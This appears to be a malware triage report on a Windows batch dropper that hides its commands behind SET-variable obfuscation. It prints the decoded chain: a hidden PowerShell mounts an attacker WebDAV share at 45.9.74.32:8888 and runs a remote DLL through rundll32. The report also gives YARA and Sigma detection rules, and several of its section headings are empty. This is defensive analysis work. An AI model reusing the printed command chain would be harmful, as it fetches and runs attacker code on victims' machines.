unclassified-js-webdav-dropper: ceacabb4 — mnihx-prefix SET batch, 45.9.74.32:8888, rundll32 entry

A 2.15 KB Windows batch script (712921366744125435.bat) using 36 shared-prefix SET variables (mnihx + 5-char suffix) to obfuscate a WebDAV mount + rundll32 execution chain. Fourteenth confirmed sibling of the unclassified-js-webdav-dropper family. C2 IP 45.9.74.32:8888 and rundll32 execution pattern match siblings e777fd64, ed6b2cd3, and c6e24c16 exactly; only the variable prefix (mnihx), payload filename (1150.dll), and variable count (36 vs. 30 in prior siblings) differ. ^[file.txt] ^[strings.txt]

What It Is

How It Works

Three lines, no persistence, no sandbox gate:

1. Variable assignment — 36 SET statements with shared prefix mnihx + random 5-character suffix, each mapped to a single alphanumeric character. All chained on one line with && separators. ^[strings.txt:1]

2. Decoy — color f0 (black-on-white console) and start wordpad (launches WordPad to distract the user). Same decoy pattern used in siblings e777fd64, ed6b2cd3, c6e24c16, ffd5d894, e9e82d14, and f170f5a9. ^[strings.txt:2]

3. Payload execution — start powershell.exe -windowstyle hidden wrapping:

   • net use \\45.9.74.32@8888\davwwwroot\ — mounts the attacker WebDAV share
   • rundll32 \\45.9.74.32@8888\davwwwroot\1150.dll,entry — loads the remote DLL via rundll32.exe, calling the entry export ^[strings.txt:3]

This is the same execution chain as sibling e777fd64 (3682.dll, hbutc prefix), ed6b2cd3 (1995.dll, labzf prefix), and c6e24c16 (3500.dll, nmnmd prefix). The only deltas are the SET prefix and payload filename.

Notable: This sibling uses 36 variables rather than the 30 observed in the three prior 45.9.74.32:8888 siblings. The additional 6 characters encode the same command set (the extra variables appear to be unused in the decoded payload). This suggests either automated generation with variable count jitter or copy-paste mutation from a larger template. ^[strings.txt:1]

C2 Infrastructure

Deploy / ATT&CK

Sibling Delta

Deployable Signatures

YARA

rule WebDAV_Rundll32_Batch_Dropper_mnihx {
    meta:
        description = "WebDAV batch dropper with shared-prefix SET obfuscation and rundll32 execution"
        author = "triage"
        family = "unclassified-js-webdav-dropper"
        sha256 = "ceacabb454c24502a8a479f714cea6fe0be302f7f29313bebd6c7accc4117af1"
    strings:
        $set_mnihx = "set mnihx" nocase
        $c2_ip = "45.9.74.32" nocase
        $webdav = "davwwwroot" nocase
        $rundll32 = "rundll32" nocase
        $dll_entry = ".dll,entry" nocase
    condition:
        all of them
}

Hunt Query (Sigma — Windows Command Line)

title: WebDAV Batch Dropper - rundll32 Remote DLL Load
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'rundll32 \\45.9.74.32@8888\davwwwroot\'
            - 'rundll32 \\45.9.74.32@8888\DavWWWRoot\'
    condition: selection
falsepositives:
    - Unknown
level: critical

IOC List

References

• unclassified-js-webdav-dropper — Family entity page with full capability list and TTP mapping
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + system binary proxy execution chain
• batch-powershell-variable-expansion-obfuscation — Related technique for SET-based obfuscation patterns
• Sibling reports: e777fd64, ed6b2cd3, c6e24c16, ffd5d894, e9e82d14, f170f5a9, da58243c, e6ebae6a, fa7e181d, fb353965, cb5d302f, cc90d6c, ccb2d007

Provenance

• file.txt — file(1) output, ASCII text with CRLF
• metadata.json — OpenCTI artifact metadata, size 2150 bytes
• strings.txt — Full batch script content, lines 1–3
• triage.json — Triage pipeline classification, tier deep, no family attribution
• Capa / floss / binwalk — skipped (not a binary target)
• CAPE — skipped (ASCII text, not a supported binary class)
• No dynamic analysis available; all behavior inferred from static script deobfuscation